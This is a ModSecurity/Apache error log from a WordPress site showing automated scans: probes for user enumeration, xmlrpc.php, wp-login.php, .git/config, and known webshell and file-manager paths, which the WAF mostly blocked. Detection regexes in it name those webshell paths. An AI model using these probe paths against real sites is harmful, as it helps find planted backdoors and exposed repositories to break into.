[Tue Nov 11 15:40:54.925696 2025] [:error] [pid 59670:tid 59697] [client 202.160.174.10:61428] [client 202.160.174.10] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aRLohqk2Cnts0y-hpfoevQAAAJg"]
[Tue Nov 11 15:42:03.330944 2025] [:error] [pid 53414:tid 53417] [client 202.160.174.10:49760] [client 202.160.174.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.160.174.10, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRLoyws6pHd_Z5oc1ed_0QAAAQE"]
[Tue Nov 11 15:43:07.786069 2025] [:error] [pid 59670:tid 59678] [client 202.160.174.10:53933] [client 202.160.174.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.160.174.10, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRLpC6k2Cnts0y-hpfofcwAAAIU"]
[Tue Nov 11 15:44:11.003099 2025] [:error] [pid 53414:tid 53436] [client 202.160.174.10:53131] [client 202.160.174.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.160.174.10, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRLpSws6pHd_Z5oc1eeAeQAAARQ"]
[Tue Nov 11 15:45:16.108711 2025] [:error] [pid 53449:tid 53462] [client 202.160.174.10:55389] [client 202.160.174.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.160.174.10, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRLpjNpz08j5NoUSzp9CegAAAUg"]
[Tue Nov 11 16:39:04.597273 2025] [:error] [pid 36578:tid 36594] [client 162.241.218.91:40164] [client 162.241.218.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.241.218.91, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRL2KEMi03XeylcOo5WncAAAAMs"]
[Tue Nov 11 16:58:33.110463 2025] [proxy_fcgi:error] [pid 36578:tid 36601] (70007)The timeout specified has expired: [client 217.113.194.244:14037] AH01075: Error dispatching request to : (polling)
[Tue Nov 11 17:15:53.881766 2025] [:error] [pid 36580:tid 36643] [client 103.117.180.206:33214] [client 103.117.180.206] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.117.180.206, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRL-yZaaFQZGE3H9yOGpRQAAAEU"]
[Tue Nov 11 17:34:07.095491 2025] [:error] [pid 36579:tid 36611] [client 137.184.0.143:44528] [client 137.184.0.143] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.0.143, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRMDD-muedRSntjwLw5hlAAAAAA"]
[Tue Nov 11 17:55:31.363992 2025] [:error] [pid 36673:tid 36699] [client 138.197.43.122:39814] [client 138.197.43.122] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aRMIEyvASiSDHs9bkffslAAAAJg"]
[Tue Nov 11 17:55:33.679869 2025] [:error] [pid 43205:tid 43212] [client 138.197.43.122:51312] [client 138.197.43.122] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aRMIFb48SbhIkX6TjwNheQAAAQQ"]
[Tue Nov 11 18:14:50.205155 2025] [:error] [pid 36580:tid 36647] [client 43.157.22.57:34340] [client 43.157.22.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aRMMmpaaFQZGE3H9yOG5FQAAAEk"]
[Tue Nov 11 20:07:34.266400 2025] [:error] [pid 36578:tid 36596] [client 89.117.74.114:41592] [client 89.117.74.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.117.74.114, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRMnBkMi03XeylcOo5XW8wAAAM0"]
[Tue Nov 11 20:30:53.733246 2025] [:error] [pid 36580:tid 36661] [client 194.5.82.101:46587] [client 194.5.82.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/tinyfilemanager.php"] [unique_id "aRMsfZaaFQZGE3H9yOHa7wAAAFc"]
[Tue Nov 11 20:31:01.422920 2025] [:error] [pid 36580:tid 36641] [client 194.5.82.92:61997] [client 194.5.82.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/filemanager.php"] [unique_id "aRMshZaaFQZGE3H9yOHa-wAAAEM"]
[Tue Nov 11 20:31:38.903054 2025] [:error] [pid 43205:tid 43215] [client 194.5.82.59:33653] [client 194.5.82.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aRMsqr48SbhIkX6TjwOb-gAAAQc"]
[Tue Nov 11 20:31:55.863195 2025] [:error] [pid 36580:tid 36654] [client 194.5.82.168:21885] [client 194.5.82.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/about.php"] [unique_id "aRMsu5aaFQZGE3H9yOHbWQAAAFA"]
[Tue Nov 11 20:32:03.923846 2025] [:error] [pid 36673:tid 36699] [client 194.5.82.91:33173] [client 194.5.82.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/filemanager.php"] [unique_id "aRMswyvASiSDHs9bkfcZMAAAAJg"]
[Tue Nov 11 20:32:47.395479 2025] [:error] [pid 36579:tid 36623] [client 194.5.82.83:38493] [client 194.5.82.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.5.82.83, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRMs7-muedRSntjwLw6NmAAAAAw"]
[Tue Nov 11 20:33:00.317857 2025] [:error] [pid 36579:tid 36615] [client 194.5.82.83:38493] [client 194.5.82.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/chosen.php"] [unique_id "aRMs_OmuedRSntjwLw6NsgAAAAQ"]
[Tue Nov 11 20:33:11.099422 2025] [:error] [pid 36578:tid 36585] [client 194.5.82.96:47471] [client 194.5.82.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/about.php"] [unique_id "aRMtB0Mi03XeylcOo5XdEAAAAMI"]
[Tue Nov 11 20:33:41.269305 2025] [:error] [pid 43205:tid 43218] [client 194.5.82.88:35789] [client 194.5.82.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aRMtJb48SbhIkX6TjwOc4QAAAQo"]
[Tue Nov 11 20:33:48.069698 2025] [:error] [pid 43205:tid 43218] [client 194.5.82.58:33029] [client 194.5.82.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/wp-atom.php"] [unique_id "aRMtLL48SbhIkX6TjwOc8AAAAQo"]
[Tue Nov 11 20:33:57.978457 2025] [:error] [pid 36578:tid 36601] [client 194.5.82.65:55577] [client 194.5.82.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aRMtNUMi03XeylcOo5XdJgAAANI"]
[Tue Nov 11 20:34:05.136799 2025] [:error] [pid 36673:tid 36682] [client 194.5.82.91:39627] [client 194.5.82.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/about.php"] [unique_id "aRMtPSvASiSDHs9bkfcZswAAAIc"]
[Tue Nov 11 20:34:15.705821 2025] [autoindex:error] [pid 36673:tid 36686] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:15.899352 2025] [autoindex:error] [pid 36673:tid 36676] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/shortcode/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:16.013016 2025] [autoindex:error] [pid 36673:tid 36687] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:18.254724 2025] [autoindex:error] [pid 36673:tid 36695] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/list-reusable-blocks/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:18.456701 2025] [autoindex:error] [pid 36673:tid 36681] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Requests/src/Auth/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:18.645030 2025] [autoindex:error] [pid 36673:tid 36689] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:18.877221 2025] [autoindex:error] [pid 36673:tid 36696] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:18.979471 2025] [autoindex:error] [pid 36673:tid 36686] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/site-logo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:20.408521 2025] [autoindex:error] [pid 36673:tid 36677] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/Diff/Engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:21.891559 2025] [autoindex:error] [pid 36673:tid 36698] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/plugins/elementor/assets/images/app/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:22.049024 2025] [autoindex:error] [pid 36673:tid 36683] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/loginout/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:23.575058 2025] [autoindex:error] [pid 36673:tid 36675] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:25.065343 2025] [autoindex:error] [pid 36673:tid 36696] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:31.050541 2025] [autoindex:error] [pid 36673:tid 36676] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:31.294029 2025] [autoindex:error] [pid 36673:tid 36687] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:31.422691 2025] [autoindex:error] [pid 36673:tid 36688] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:31.570392 2025] [autoindex:error] [pid 36673:tid 36677] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:31.725295 2025] [autoindex:error] [pid 36673:tid 36691] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:31.867958 2025] [autoindex:error] [pid 36673:tid 36685] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/php-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:32.028911 2025] [autoindex:error] [pid 36673:tid 36695] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:32.434357 2025] [autoindex:error] [pid 36673:tid 36678] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:32.700183 2025] [autoindex:error] [pid 36673:tid 36689] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/latest-comments/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:34.097228 2025] [autoindex:error] [pid 36673:tid 36696] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/interactivity-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:35.585758 2025] [autoindex:error] [pid 36673:tid 36679] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:35.693366 2025] [autoindex:error] [pid 36673:tid 36676] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:35.808900 2025] [autoindex:error] [pid 36673:tid 36687] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sodium_compat/src/Core32/Poly1305/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:35.955797 2025] [autoindex:error] [pid 36673:tid 36688] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/post-author/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:36.205501 2025] [autoindex:error] [pid 36673:tid 36691] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 11 20:34:36.332253 2025] [autoindex:error] [pid 36673:tid 36697] [client 194.5.82.70:25073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/html-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
